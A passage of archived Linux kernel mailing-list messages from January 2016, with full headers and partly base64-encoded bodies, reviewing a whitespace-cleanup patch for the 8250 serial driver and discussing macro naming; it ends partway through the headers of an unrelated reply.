Cc: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"mail@maciej.szmigiero.name" <mail@maciej.szmigiero.name>,
	"desmondl@broadcom.com" <desmondl@broadcom.com>,
	"Zha, Qipeng" <qipeng.zha@intel.com>,
	"heikki.krogerus@linux.intel.com" <heikki.krogerus@linux.intel.com>,
	"long.wanglong@huawei.com" <long.wanglong@huawei.com>,
	"soeren.grunewald@desy.de" <soeren.grunewald@desy.de>,
	"deller@gmx.de" <deller@gmx.de>,
	"jslaby@suse.com" <jslaby@suse.com>,
	"phillip.raffeck@fau.de" <phillip.raffeck@fau.de>,
	"paul.burton@imgtec.com" <paul.burton@imgtec.com>,
	"hpeter@gmail.com" <hpeter@gmail.com>,
	"ralf@linux-mips.org" <ralf@linux-mips.org>,
	"linux-kernel@i4.cs.fau.de" <linux-kernel@i4.cs.fau.de>,
	"mans@mansr.com" <mans@mansr.com>,
	"adam.lee@canonical.com" <adam.lee@canonical.com>,
	"jejb@parisc-linux.org" <jejb@parisc-linux.org>,
	"linux-parisc@vger.kernel.org" <linux-paris
To: "gregkh@linuxfoundation.org" <gregkh@linuxfoundation.org>,
	"anton.wuerfel@fau.de" <anton.wuerfel@fau.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 11 13:50:29 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aIbvY-00043C-Mk
	for glpp-linux-parisc@plane.gmane.org; Mon, 11 Jan 2016 13:50:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932389AbcAKMu2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 11 Jan 2016 07:50:28 -0500
Original-Received: from mga14.intel.com ([192.55.52.115]:40758 "EHLO mga14.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932303AbcAKMu1 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 11 Jan 2016 07:50:27 -0500
Original-Received: from fmsmga001.fm.intel.com ([10.253.24.23])
  by fmsmga103.fm.intel.com with ESMTP; 11 Jan 2016 04:50:28 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.20,552,1444719600"; 
   d="scan'208";a="878980410"
Original-Received: from irsmsx151.ger.corp.intel.com ([163.33.192.59])
  by fmsmga001.fm.intel.com with ESMTP; 11 Jan 2016 04:50:21 -0800
Original-Received: from irsmsx103.ger.corp.intel.com ([169.254.3.143]) by
 IRSMSX151.ger.corp.intel.com ([169.254.4.102]) with mapi id 14.03.0248.002;
 Mon, 11 Jan 2016 12:50:19 +0000
Thread-Topic: [PATCH v4 01/13] tty: serial: 8250: Fix whitespace errors
Thread-Index: AQHRTG6g23xRPjsY5E6tMRrhwlK61Q==
In-Reply-To: <1452515294.26146.10.camel@linux.intel.com>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [10.237.72.86]
Content-ID: <EA1E164AD4BB304C97FFD59B445778B8@intel.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26350 gmane.linux.kernel:2123516
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26350>

T24gTW9uLCAyMDE2LTAxLTExIGF0IDE0OjI4ICswMjAwLCBBbmR5IFNoZXZjaGVua28gd3JvdGU6
DQo+IE9uIEZyaSwgMjAxNi0wMS0wOCBhdCAxODo0MyArMDEwMCwgQW50b24gV3VlcmZlbCB3cm90
ZToNCj4gPiBUaGlzIHBhdGNoIGZpeGVzIHdoaXRlc3BhY2UgZXJyb3JzIHJlcG9ydGVkIGJ5IGNo
ZWNrcGF0Y2ggdG8NCj4gPiBpbmNyZWFzZQ0KPiA+IHJlYWRhYmlsaXR5LiBNYWluIGZvY3VzIGlz
IG9uIG1pc3Npbmcgc3BhY2VzIGFmdGVyIGNvbW1hcyBpbg0KPiA+IGZ1bmN0aW9uIGhlYWRlcnMg
YW5kIG1hY3JvcyAobGlrZSBmb28sYmFyIGVkaXRlZCB0byBmb28sIGJhcikuDQo+ID4gDQo+ID4g
U2lnbmVkLW9mZi1ieTogQW50b24gV8O8cmZlbCA8YW50b24ud3VlcmZlbEBmYXUuZGU+DQo+ID4g
U2lnbmVkLW9mZi1ieTogUGhpbGxpcCBSYWZmZWNrIDxwaGlsbGlwLnJhZmZlY2tAZmF1LmRlPg0K
PiA+IENDOiBsaW51eC1rZXJuZWxAaTQuY3MuZmF1LmRlDQo+IA0KPiBDYzogbG9va3MgbW9yZSBz
dGFuZGFyZC4NCj4gDQo+ID4gLS0tIGEvZHJpdmVycy90dHkvc2VyaWFsLzgyNTAvODI1MF9hY2Nl
bnQuYw0KPiA+ICsrKyBiL2RyaXZlcnMvdHR5L3NlcmlhbC84MjUwLzgyNTBfYWNjZW50LmMNCj4g
PiBAQCAtMTAsNyArMTAsNyBAQA0KPiA+IMKgI2luY2x1ZGUgPGxpbnV4L2luaXQuaD4NCj4gPiDC
oCNpbmNsdWRlIDxsaW51eC9zZXJpYWxfODI1MC5oPg0KPiA+IMKgDQo+ID4gLSNkZWZpbmUgUE9S
VChfYmFzZSxfaXJxKQkJCQlcDQo+ID4gKyNkZWZpbmUgUE9SVChfYmFzZSwgX2lycSkJCQkJXA0K
PiA+IMKgCXsJCQkJCQlcDQo+ID4gwqAJCS5pb2Jhc2UJCT0gX2Jhc2UsCQlcDQo+ID4gwqAJCS5p
cnEJCT0gX2lycSwJCQkNCj4gPiBcDQoNCjgyNTBfUE9SVCgpDQoNCj4gPiANCj4gDQo+IFdoaWxl
IHRob3NlIGFyZSBva2F5LCBJIHdvdWxkIHN1Z2dlc3QgdG8gbWFrZSBhIG1hY3JvIGluDQo+IGRy
aXZlcnMv4oCmLzgyNTAuaCBvbmUgZm9yIGFsbCwgc29tZXRoaW5nIGxpa2UgdGhpczoNCj4gDQo+
ICNkZWZpbmUgODI1MF9QT1JUX0ZMQUdTKF9iYXNlLCBfaXJxLCBfZmxhZ3MpDQo+IOKApg0KPiAJ
LmZsYWdzwqDCoMKgwqDCoMKgwqDCoMKgwqA9IFVQRl9CT09UX0FVVE9DT05GIHwgKF9mbGFncykg
XA0KPiANCj4gI2RlZmluZSA4MjUwX1BPUlQoX2Jhc2UsIF9pcnEpCTgyNTBfUE9SVF9GTEFHUyhf
YmFzZSwgX2lycSwgMCkNCj4gDQo+IEFuZCB1c2UgaXQuDQoNCiNkZWZpbmUgODI1MF9GT1VSUE9S
VChfYmFzZSwgX2lycSkJODI1MF9QT1JUX0ZMQUdTKF9iYXNlLCBfaXJxLA0KVVBGX0ZPVVJQT1JU
KQ0KDQo+ID4gLS0tIGEvZHJpdmVycy90dHkvc2VyaWFsLzgyNTAvODI1MF9mb3VycG9ydC5jDQo+
ID4gKysrIGIvZHJpdmVycy90dHkvc2VyaWFsLzgyNTAvODI1MF9mb3VycG9ydC5jDQo+ID4gQEAg
LTEwLDcgKzEwLDcgQEANCj4gPiDCoCNpbmNsdWRlIDxsaW51eC9pbml0Lmg+DQo+ID4gwqAjaW5j
bHVkZSA8bGludXgvc2VyaWFsXzgyNTAuaD4NCj4gPiDCoA0KPiA+IC0jZGVmaW5lIFBPUlQoX2Jh
c2UsX2lycSkJCQkJCQkNCj4gPiBcDQo+ID4gKyNkZWZpbmUgUE9SVChfYmFzZSwgX2lycSkJCQkJ
CQkNCj4gPiBcDQo+ID4gwqAJewkJCQkJCQkJDQo+ID4gXA0KPiA+IMKgCQkuaW9iYXNlCQk9IF9i
YXNlLAkJCQ0KPiA+IAlcDQo+ID4gwqAJCS5pcnEJCT0gX2lycSwJCQkNCj4gPiAJDQo+ID4gCVwN
Cg0KODI1MF9GT1VSUE9SVCgpDQoNCi0tIA0KQW5keSBTaGV2Y2hlbmtvIDxhbmRyaXkuc2hldmNo
ZW5rb0BpbnRlbC5jb20+DQpJbnRlbCBGaW5sYW5kIE95DQotLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KSW50ZWwgRmlu
bGFuZCBPeQpSZWdpc3RlcmVkIEFkZHJlc3M6IFBMIDI4MSwgMDAxODEgSGVsc2lua2kgCkJ1c2lu
ZXNzIElkZW50aXR5IENvZGU6IDAzNTc2MDYgLSA0IApEb21pY2lsZWQgaW4gSGVsc2lua2kgCgpU
aGlzIGUtbWFpbCBhbmQgYW55IGF0dGFjaG1lbnRzIG1heSBjb250YWluIGNvbmZpZGVudGlhbCBt
YXRlcmlhbCBmb3IKdGhlIHNvbGUgdXNlIG9mIHRoZSBpbnRlbmRlZCByZWNpcGllbnQocykuIEFu
eSByZXZpZXcgb3IgZGlzdHJpYnV0aW9uCmJ5IG90aGVycyBpcyBzdHJpY3RseSBwcm9oaWJpdGVk
LiBJZiB5b3UgYXJlIG5vdCB0aGUgaW50ZW5kZWQKcmVjaXBpZW50LCBwbGVhc2UgY29udGFjdCB0
aGUgc2VuZGVyIGFuZCBkZWxldGUgYWxsIGNvcGllcy4K

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?M=E5ns_Rullg=E5rd?= <mans@mansr.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH v4 01/13] tty: serial: 8250: Fix whitespace errors
Date: Mon, 11 Jan 2016 12:54:10 +0000
Lines: 52
Approved: news@gmane.org
Message-ID: <yw1x7fjgxonh.fsf@unicorn.mansr.com>
References: <1452275039-18787-1-git-send-email-anton.wuerfel@fau.de>
	<1452275039-18787-2-git-send-email-anton.wuerfel@fau.de>
	<1452515294.26146.10.camel@linux.intel.com>
	<1452516646.26146.22.camel@intel.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452516874 7297 80.91.229.3 (11 Jan 2016 12:54:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Jan 2016 12:54:34 +0000 (UTC)
Cc: "gregkh\@linuxfoundation.org" <gregkh@linuxfoundation.org>,
	"anton.wuerfel\@fau.de" <anton.wuerfel@fau.de>,
	"linux-kernel\@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"mail\@maciej.szmigiero.name" <mail@maciej.szmigiero.name>,
	"desmondl\@broadcom.com" <desmondl@broadcom.com>,
	"Zha\, Qipeng" <qipeng.zha@intel.com>,
	"heikki.krogerus\@linux.intel.com" <heikki.krogerus@linux.intel.com>,
	"long.wanglong\@huawei.com" <long.wanglong@huawei.com>,
	"soeren.grunewald\@desy.de" <soeren.grunewald@desy.de>,
	"deller\@gmx.de" <deller@gmx.de>,
	"jslaby\@suse.com" <jslaby@suse.com>,
	"phillip.raffeck\@fau.de" <phillip.raffeck@fau.de>,
	"paul.burton\@imgtec.com" <paul.burton@imgtec.com>,
	"hpeter\@gmail.com" <hpeter@gmail.com>,
	"ralf\@linux-mips.org" <ralf@linux-mips.org>,
	"linux-kernel\@i4.cs.fau.de" <linux-kernel@i4.cs.fau.de>,
	"adam.lee\@canonical.com" <adam.lee@canonical.com>,
	"jej
To: "Shevchenko\, Andriy" <andriy.shevchenko@intel.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Jan 11 13:54:31 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aIbzS-0006Mp-65
	for glk-linux-kernel-3@plane.gmane.org; Mon, 11 Jan 2016 13:54:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932848AbcAKMyS convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 11 Jan 2016 07:54:18 -0500
Original-Received: from unicorn.mansr.com ([81.2.72.234]:55418 "EHLO unicorn.mansr.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932806AbcAKMyP (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Mon, 11 Jan 2016 07:54:15 -0500
Original-Received: by unicorn.mansr.com (Postfix, from userid 51770)
	id 203D715393; Mon, 11 Jan 2016 12:54:10 +0000 (GMT)
In-Reply-To: <1452516646.26146.22.camel@intel.com> (Andriy Shevchenko's
	message of "Mon, 11 Jan 2016 12:50:18 +0000")
User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/24.5 (gnu/linux)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2123521 gmane.linux.ports.parisc:26351
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2123521>

"Shevchenko, Andriy" <andriy.shevchenko@intel.com> writes:

> On Mon, 2016-01-11 at 14:28 +0200, Andy Shevchenko wrote:
>> On Fri, 2016-01-08 at 18:43 +0100, Anton Wuerfel wrote:
>> > This patch fixes whitespace errors reported by checkpatch to
>> > increase
>> > readability. Main focus is on missing spaces after commas in
>> > function headers and macros (like foo,bar edited to foo, bar).
>> >=20
>> > Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
>> > Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
>> > CC: linux-kernel@i4.cs.fau.de
>>=20
>> Cc: looks more standard.
>>=20
>> > --- a/drivers/tty/serial/8250/8250_accent.c
>> > +++ b/drivers/tty/serial/8250/8250_accent.c
>> > @@ -10,7 +10,7 @@
>> > =C2=A0#include <linux/init.h>
>> > =C2=A0#include <linux/serial_8250.h>
>> > =C2=A0
>> > -#define PORT(_base,_irq)				\
>> > +#define PORT(_base, _irq)				\
>> > =C2=A0	{						\
>> > =C2=A0		.iobase		=3D _base,		\
>> > =C2=A0		.irq		=3D _irq,		=09
>> > \
>
> 8250_PORT()
>
>> >=20
>>=20
>> While those are okay, I would suggest to make a macro in
>> drivers/=E2=80=A6/8250.h one for all, something like this:
>>=20
>> #define 8250_PORT_FLAGS(_base, _irq, _flags)
>> =E2=80=A6
>> 	.flags=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=3D=
 UPF_BOOT_AUTOCONF | (_flags) \
>>=20
>> #define 8250_PORT(_base, _irq)	8250_PORT_FLAGS(_base, _irq, 0)
>>=20
>> And use it.
>
> #define 8250_FOURPORT(_base, _irq)	8250_PORT_FLAGS(_base, _irq,
> UPF_FOURPORT)

Macro names can't start with a number.

--=20
M=C3=A5ns Rullg=C3=A5rd


From - Thu Nov 08 21:38:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Shevchenko, Andriy" <andriy.shevchenko@intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v4 01/13] tty: serial: 8250: Fix whitespace errors
Date: Mon, 11 Jan 2016 13:03:27 +0000
Lines: 46
Approved: news@gmane.org
Message-ID: <1452517435.26146.24.camel@intel.com>
References: <1452275039-18787-1-git-send-email-anton.wuerfel@fau.de>
	 <1452275039-18787-2-git-send-email-anton.wuerfel@fau.de>
	 <1452515294.26146.10.camel@linux.intel.com>
	 <1452516646.26146.22.camel@intel.com> <yw1x7fjgxonh.fsf@unicorn.mansr.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: ger.gmane.org 1452517458 17354 80.91.229.3 (11 Jan 2016 13:04:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Jan 2016 13:04:18 +0000 (UTC)
Cc: "anton.wuerfel@fau.de" <anton.wuerfel@fau.de>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"mail@maciej.szmigiero.name" <mail@maciej.szmigiero.name>,
	"desmondl@broadcom.com" <desmondl@broadcom.com>,
	"Zha, Qipeng" <qipeng.zha@intel.com>,
	"heikki.krogerus@linux.intel.com" <heikki.krogerus@linux.intel.com>,
	"long.wanglong@huawei.com" <long.wanglong@huawei.com>,
	"soeren.grunewald@desy.de" <soeren.grunewald@desy.de>,
	"deller@gmx.de" <deller@gmx.de>,
	"jslaby@suse.com" <jslaby@suse.com>,
	"phillip.raffeck@fau.de" <phillip.raffeck@fau.de>,
	"paul.burton@imgtec.com" <paul.burton@imgtec.com>,
	"hpeter@gmail.com" <hpeter@gmail.com>,
	"ralf@linux-mips.org" <ralf@linux-mips.org>,
	"linux-kernel@i4.cs.fau.de" <linux-kernel@i4.cs.fau.de>,
	"adam.lee@canonical.com" <adam.lee@canonical.com>,
	"gregkh@linuxfoundation.org" <gregkh@linuxfoundation.org>,
	"jejb@parisc-linux.or
To: "mans@mansr.com" <mans@mansr.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 11 14:04:06 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aIc8i-0002oR-5W
	for glpp-linux-parisc@plane.gmane.org; Mon, 11 Jan 2016 14:04:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932983AbcAKNED (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 11 Jan 2016 08:04:03 -0500
Original-Received: from mga03.intel.com ([134.134.136.65]:16453 "EHLO mga03.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932982AbcAKNEC (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 11 Jan 2016 08:04:02 -0500
Original-Received: from fmsmga003.fm.intel.com ([10.253.24.29])
  by orsmga103.jf.intel.com with ESMTP; 11 Jan 2016 05:03:32 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.20,552,1444719600"; 
   d="scan'208";a="631619035"
Original-Received: from irsmsx101.ger.corp.intel.com ([163.33.3.153])
  by FMSMGA003.fm.intel.com with ESMTP; 11 Jan 2016 05:03:29 -0800
Original-Received: from irsmsx103.ger.corp.intel.com ([169.254.3.143]) by
 IRSMSX101.ger.corp.intel.com ([169.254.1.134]) with mapi id 14.03.0248.002;
 Mon, 11 Jan 2016 13:03:27 +0000
Thread-Topic: [PATCH v4 01/13] tty: serial: 8250: Fix whitespace errors
Thread-Index: AQHRTG8p23xRPjsY5E6tMRrhwlK61Z72SC+A
In-Reply-To: <yw1x7fjgxonh.fsf@unicorn.mansr.com>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [10.237.72.86]
Content-ID: <966EEF0CEF80034EA37EFB5820A95D37@intel.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26352 gmane.linux.kernel:2123528
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26352>

T24gTW9uLCAyMDE2LTAxLTExIGF0IDEyOjU0ICswMDAwLCBNw6VucyBSdWxsZ8OlcmQgd3JvdGU6
DQo+ICJTaGV2Y2hlbmtvLCBBbmRyaXkiIDxhbmRyaXkuc2hldmNoZW5rb0BpbnRlbC5jb20+IHdy
aXRlczoNCj4gDQo+ID4gT24gTW9uLCAyMDE2LTAxLTExIGF0IDE0OjI4ICswMjAwLCBBbmR5IFNo
ZXZjaGVua28gd3JvdGU6DQo+ID4gPiBPbiBGcmksIDIwMTYtMDEtMDggYXQgMTg6NDMgKzAxMDAs
IEFudG9uIFd1ZXJmZWwgd3JvdGU6DQo+ID4gPiA+IFRoaXMgcGF0Y2ggZml4ZXMgd2hpdGVzcGFj
ZSBlcnJvcnMgcmVwb3J0ZWQgYnkgY2hlY2twYXRjaCB0bw0KPiA+ID4gPiBpbmNyZWFzZQ0KPiA+
ID4gPiByZWFkYWJpbGl0eS4gTWFpbiBmb2N1cyBpcyBvbiBtaXNzaW5nIHNwYWNlcyBhZnRlciBj
b21tYXMgaW4NCj4gPiA+ID4gZnVuY3Rpb24gaGVhZGVycyBhbmQgbWFjcm9zIChsaWtlIGZvbyxi
YXIgZWRpdGVkIHRvIGZvbywgYmFyKS4NCj4gPiA+ID4gDQo+ID4gPiA+IFNpZ25lZC1vZmYtYnk6
IEFudG9uIFfDvHJmZWwgPGFudG9uLnd1ZXJmZWxAZmF1LmRlPg0KPiA+ID4gPiBTaWduZWQtb2Zm
LWJ5OiBQaGlsbGlwIFJhZmZlY2sgPHBoaWxsaXAucmFmZmVja0BmYXUuZGU+DQo+ID4gPiA+IEND
OiBsaW51eC1rZXJuZWxAaTQuY3MuZmF1LmRlDQo+ID4gPiANCj4gPiA+IENjOiBsb29rcyBtb3Jl
IHN0YW5kYXJkLg0KPiA+ID4gDQo+ID4gPiA+IC0tLSBhL2RyaXZlcnMvdHR5L3NlcmlhbC84MjUw
LzgyNTBfYWNjZW50LmMNCj4gPiA+ID4gKysrIGIvZHJpdmVycy90dHkvc2VyaWFsLzgyNTAvODI1
MF9hY2NlbnQuYw0KPiA+ID4gPiBAQCAtMTAsNyArMTAsNyBAQA0KPiA+ID4gPiDCoCNpbmNsdWRl
IDxsaW51eC9pbml0Lmg+DQo+ID4gPiA+IMKgI2luY2x1ZGUgPGxpbnV4L3NlcmlhbF84MjUwLmg+
DQo+ID4gPiA+IMKgDQo+ID4gPiA+IC0jZGVmaW5lIFBPUlQoX2Jhc2UsX2lycSkJCQkJXA0KPiA+
ID4gPiArI2RlZmluZSBQT1JUKF9iYXNlLCBfaXJxKQkJCQlcDQo+ID4gPiA+IMKgCXsJCQkJCQlc
DQo+ID4gPiA+IMKgCQkuaW9iYXNlCQk9IF9iYXNlLAkJDQo+ID4gPiA+IFwNCj4gPiA+ID4gwqAJ
CS5pcnEJCT0gX2lycSwJCQkNCj4gPiA+ID4gXA0KPiA+IA0KPiA+IDgyNTBfUE9SVCgpDQo+ID4g
DQo+ID4gPiA+IA0KPiA+ID4gDQo+ID4gPiBXaGlsZSB0aG9zZSBhcmUgb2theSwgSSB3b3VsZCBz
dWdnZXN0IHRvIG1ha2UgYSBtYWNybyBpbg0KPiA+ID4gZHJpdmVycy/igKYvODI1MC5oIG9uZSBm
b3IgYWxsLCBzb21ldGhpbmcgbGlrZSB0aGlzOg0KPiA+ID4gDQo+ID4gPiAjZGVmaW5lIDgyNTBf
UE9SVF9GTEFHUyhfYmFzZSwgX2lycSwgX2ZsYWdzKQ0KPiA+ID4g4oCmDQo+ID4gPiAJLmZsYWdz
wqDCoMKgwqDCoMKgwqDCoMKgwqA9IFVQRl9CT09UX0FVVE9DT05GIHwgKF9mbGFncykgXA0KPiA+
ID4gDQo+ID4gPiAjZGVmaW5lIDgyNTBfUE9SVChfYmFzZSwgX2lycSkJODI1MF9QT1JUX0ZMQUdT
KF9iYXNlLA0KPiA+ID4gX2lycSwgMCkNCj4gPiA+IA0KPiA+ID4gQW5kIHVzZSBpdC4NCj4gPiAN
Cj4gPiAjZGVmaW5lIDgyNTBfRk9VUlBPUlQoX2Jhc2UsIF9pcnEpCTgyNTBfUE9SVF9GTEFHUyhf
YmFzZSwNCj4gPiBfaXJxLA0KPiA+IFVQRl9GT1VSUE9SVCkNCj4gDQo+IE1hY3JvIG5hbWVzIGNh
bid0IHN0YXJ0IHdpdGggYSBudW1iZXIuDQoNCk9oLCByaWdodCwgdGhhbmtzLg0KDQpTRVJJQUw4
MjUwX1BPUlQqIHdpbGwgd29yay4NCg0KLS0gDQpBbmR5IFNoZXZjaGVua28gPGFuZHJpeS5zaGV2
Y2hlbmtvQGludGVsLmNvbT4NCkludGVsIEZpbmxhbmQgT3kNCi0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpJbnRlbCBG
aW5sYW5kIE95ClJlZ2lzdGVyZWQgQWRkcmVzczogUEwgMjgxLCAwMDE4MSBIZWxzaW5raSAKQnVz
aW5lc3MgSWRlbnRpdHkgQ29kZTogMDM1NzYwNiAtIDQgCkRvbWljaWxlZCBpbiBIZWxzaW5raSAK
ClRoaXMgZS1tYWlsIGFuZCBhbnkgYXR0YWNobWVudHMgbWF5IGNvbnRhaW4gY29uZmlkZW50aWFs
IG1hdGVyaWFsIGZvcgp0aGUgc29sZSB1c2Ugb2YgdGhlIGludGVuZGVkIHJlY2lwaWVudChzKS4g
QW55IHJldmlldyBvciBkaXN0cmlidXRpb24KYnkgb3RoZXJzIGlzIHN0cmljdGx5IHByb2hpYml0
ZWQuIElmIHlvdSBhcmUgbm90IHRoZSBpbnRlbmRlZApyZWNpcGllbnQsIHBsZWFzZSBjb250YWN0
IHRoZSBzZW5kZXIgYW5kIGRlbGV0ZSBhbGwgY29waWVzLgo=

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.next,gmane.linux.kernel
Subject: Re: linux-next: strange commit in the parisc-hd tree
Date: Mon, 11 Jan 2016 22:46:48 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <569422C8.4000706@gmx.de>
References: <20160111092822.4b4c0233@canb.auug.org.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1452548827 30741 80.91.229.3 (11 Jan 2016 21:47:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Jan 2016 21:47:07 +0000 (UTC)
Cc: linux-next@vger.kernel.org, linux-kernel@vger.kernel.org
To: Stephen Rothwell <sfr@canb.auug.org.au>,
	Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 11 22:46:59 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aIkIk-00084o-KL
	for glpp-linux-parisc@plane.gmane.org; Mon, 11 Jan 2016 22:46:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932646AbcAKVq6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 11 Jan 2016 16:46:58 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:52187 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1758139AbcAKVq4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 11 Jan 2016 16:46:56 -0500
Original-Received: from [192.168.20.60] ([92.203.18.244]) by mail.gmx.com (mrgmx102)
 with ESMTPSA (Nemesis) id 0MYcJi-1afLMv1uhm-00VS8N; Mon, 11 Jan 2016 22:46:51
 +0100
X-Enigmail-Draft-Status: N1110
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <20160111092822.4b4c0233@canb.auug.org.au>
X-Provags-ID: V03:K0:QatW6hbbtWokzA8fxJtu/Vl4zf4fWWrrBa4VciSQQcUdTP2ogpf
 lDrhTYe0f4hOcndiVO69CbZisjPra9Jy889mtQQ8g9m/p5CXKybwtuBAN+DJCzOu95fjlWW
 baj8CdH7QAWP0L0hLGOFL9GvvVSIHN+nmDQWxWPrmzr9V+t57btipa1ucrTOnAaj0ojHBw0
 O2Tel/QLKN1cMIdtIdSAg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:fum7gcg71gk=:u5at1xO7qM6nummMpWEwEq
 ECvsguyCMuQn2cQ89nwaFF6W+MkCDkKPpp3tX04enTvw75edUMI78gi6yanAS8eXbMMoAxS1t
 oc7y2V8IPyXBSOwlQVmLQZnkoPHqBWhn+RA2wpsUV0HiMNU0/mzOaMwnmgKq9yi4/6BLGnWht
